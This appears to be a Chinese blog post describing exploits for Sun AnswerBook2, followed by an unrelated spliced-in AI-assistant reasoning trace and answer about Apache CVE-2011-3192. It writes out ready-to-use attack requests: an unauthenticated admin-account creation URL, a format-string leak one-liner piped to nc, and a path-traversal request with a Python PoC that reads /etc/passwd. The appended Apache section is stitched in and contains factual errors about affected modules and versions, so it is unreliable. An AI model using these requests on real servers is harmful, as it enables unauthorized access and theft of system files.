漏洞利用——Sun-AnswerBook

AnswerBook简介

AnswerBook2 产品是 Sun 在线文档系统。它是一个基于客户服务器的系统,客户是任何一个 HTML 3.2-compliant 网络浏览器,而服务器是一个基于 httpd 的网络服务器。您可以在一个中央文档服务器或本地服务器上安装 AnswerBook2 文档集合。

AnswerBook2 管理特性

1、用客户服务器结构,您能将文档存储于一个单一位置(服务器)而从用户桌面(客户)访问。
2、提供命令行接口(ab2admin)和一个基于浏览器的界面(AnswerBook2 管理页),以便执行服务器管理功能。
3、能作为一个 CGI 进程在不同的网络服务器上运行。
4、通过打开或关上 AnswerBook2 调试功能,您能控制是否将错误用一个红色的 “BUG”,可见地显示给用户。
5、包括服务器访问和错误的记录文件。

AnswerBook2 零部件

AnswerBook2产品包括以下单元:
1、文档服务器-向客户浏览器执行查询功能并"服务 “文档。包括一个为查看及打印文档提供普通"查看并感觉"的模板;并提供网络浏览器和命令行管理界面,此界面执行数据库、口令鉴别和其它管理功能。
2、文档集合-可以是新的(SGML)文档或旧的( 显示附言TM)文档。有关在您的服务器上安装文档集合的信息,请参阅"安装文件集合”。
3、用户网络浏览器-用户能用任何 HTML 3.2-compliant 浏览器查阅文档。有关查阅文档的信息,请参阅使用 AnswerBook2 系统查看联机文档 - zh。 为了使用户能访问文档服务器,您需用联合命名服务(FNS)登记服务器或用户需知服务器的 URL。

AnswerBook2漏洞
1、未授权访问

受影响版本:Sun-AnswerBook2 1.2-1.4.2

攻击测试手段
http://服务器ip:8888/ab2/@AdminViewError 访问错误日志
http://服务器ip:8888/ab2/@AdminAddadmin?uid=foo&password=bar&re_password=bar 添加账户(密码)

2、远程格式化字符串漏洞

原理:理解printf()函数 和 %n
printf()输出函数
sanf() 输入函数
%n:输出%n之前字符的个数

正常的C语言代码如下,输出为5

#include <bits/stdc++.h>
using namespace std;
int main()
{
  int n=5;
  printf("%d",n);
  return 0;
}

  
  

    如果把输入权限交给用户的话

    #include <bits/stdc++.h>
    using namespace std;
    int main()
    {
    char a[100];
    scanf("%s",a);
    printf(a);
    return 0;
    }

    如果用户输入的字符串是"%x%x%x",输出为70ec48070ec60,为内存中的数据(内存泄漏)

    %x:以16进制读取数字,由于没有数字,只能将内存地址读取出来
    在这里插入图片描述

    受影响版本:Sun-AnswerBook2 1.2-1.4.2

    攻击测试手段
    perl -e 'print"GET /";print"%x"x20;print" HTTP/1.0\r\n\r\n\r\n"' | nc IP地址 8888 造成内存地址泄露

    3、任意文件读取

    在请求包里发送GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n可以看到文件内容。

    参考POC:

    def check(ip, port, timeout):
         try:
              socket.setdefaulttimeout(timeout)
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              s.connect((ip, int(port)))
             flag = "GET /../../../../../../../../../etc/passwd HTTP/1.1\r\n\r\n"
              s.send(flag)
             data = s.recv(1024)
              s.close()
              if 'root:' in data and 'nobody:' in data:
                  return u"漏洞"
          except:
              pass
    
      
      

    以上漏洞我还没有复现,只是理解个大概,后面有机会再复现。参考链接:https://blog.csdn.net/qq_33608000/article/details/104124248

    <think>嗯,用户想了解CVE-2011-3192漏洞的详情以及Apache服务器的相关安全问题。首先,我需要先回忆一下这个漏洞的具体情况。CVE-2011-3192是Apache HTTP服务器的一个拒绝服务漏洞,涉及byterange过滤模块。攻击者可以通过发送特制的HTTP请求头,导致服务器消耗大量内存和CPU资源,进而引发服务中断。 接下来,我需要确认漏洞影响的版本范围。根据记忆,这个漏洞影响Apache 2.2.x版本,具体是2.2.19之前的版本。用户可能需要知道如何检查自己的Apache版本是否受影响,以及具体的修复方法。Apache官方应该已经发布了补丁,升级到2.2.20或更高版本可以解决这个问题。此外,可能有临时缓解措施,比如修改配置禁用byte-range特性,或者使用mod_headers模块来过滤恶意请求。 然后,用户还提到想了解相关的Apache安全问题。除了这个特定的CVE,我应该想到其他常见的Apache漏洞,比如CVE-2017-9798(Optionsbleed)、CVE-2019-0211(本地提权)等。需要简要说明每个漏洞的影响和解决方案,以提供全面的信息。 还要注意引用提供的资料。用户给出的引用[1]是关于Verizon数据泄露的,可能与当前问题关联不大,但引用[2]提到S-TAP的优化参数,可能与服务器性能或安全配置有关,但不确定是否直接相关。可能需要忽略这些引用,除非能找到关联点,但当前问题主要围绕Apache漏洞,所以可能不需要直接引用它们。 用户可能需要知道如何检测自己的服务器是否存在这个漏洞,比如查看版本号,或者使用漏洞扫描工具。另外,解释漏洞的技术细节时,要确保用中文清晰表达,比如HTTP请求中的Range头如何被滥用,导致内存分配问题。 最后,生成相关问题时要考虑用户可能的后续疑问,比如如何升级Apache、如何配置mod_headers、其他相关CVE等。确保问题覆盖漏洞分析、修复步骤、相关安全问题及最佳实践。</think>### CVE-2011-3192 Apache byterange filter DoS漏洞详解 #### 漏洞概述 CVE-2011-3192是Apache HTTP Server 2.2.x版本中的一个高危拒绝服务(DoS)漏洞,涉及`mod_headers`和`mod_setenvif`模块处理`Range`请求头的方式。攻击者通过发送包含大量重叠字节范围(byte-range)的HTTP请求头,可导致服务器内存耗尽或CPU资源过载,最终使服务不可用[^1]。 #### 技术原理 1. **触发条件**:当HTTP请求头包含类似`Range: bytes=0-1, 0-2, 0-3,...,0-N`的恶意构造时 2. **漏洞根源**:Apache的byterange过滤器未正确处理此类请求,导致内存分配呈$O(n^2)$复杂度增长 3. **影响范围**:Apache 2.2.0至2.2.19版本,且未安装官方补丁的系统 数学表达示例: 对于包含$k$个重叠范围的请求,服务器需处理$\frac{k(k+1)}{2}$次内存分配操作,最终导致资源耗尽。 #### 修复方案 1. **官方补丁** 升级至Apache 2.2.20+版本,该版本引入`Range`头解析限制: ```apache # httpd.conf 配置示例 SetEnvIf Range (,.*?){5,} bad-range=1 RequestHeader unset Range env=bad-range ``` 2. **临时缓解措施** ```apache # 禁用byte-range特性 RequestHeader unset Range # 或限制请求头长度 LimitRequestFieldSize 8190 ``` 3. **第三方防护**:使用Web应用防火墙(WAF)过滤异常`Range`头,参考S-TAP等安全产品的缓冲优化方案[^2] #### Apache相关安全问题扩展 1. **CVE-2017-9798 (Optionsbleed)** - 漏洞类型:信息泄露 - 影响模块:`mod_allowmethods` - 修复方式:升级至2.2.34+/2.4.27+ 2. **CVE-2019-0211 (本地提权)** - 漏洞类型:权限提升 - 影响版本:Apache 2.4.17-2.4.38 - 修复方案:更新至2.4.39+并限制`mod_prefork`配置
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值